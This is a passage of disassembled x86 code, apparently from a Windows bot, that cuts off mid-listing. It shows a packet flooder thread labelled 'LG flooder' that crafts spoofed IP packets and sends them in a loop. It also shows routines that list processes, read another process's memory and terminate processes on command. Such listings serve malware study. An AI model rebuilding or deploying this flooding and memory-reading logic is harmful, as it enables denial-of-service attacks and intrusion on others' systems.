		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41EF18
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: MEW:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E280
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E27C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E270, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E274, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E278, eax
		cmp	dword_41E27C, 0
		jz	short locret_40603F
		cmp	dword_41E270, 0
		jz	short locret_40603F
		cmp	dword_41E274, 0
		jz	short locret_40603F
		cmp	dword_41E278, 0
		jz	short locret_40603F
		mov	byte_41E29C, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E280
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E29C
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E27C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E270
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E278
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DE00
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E274
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
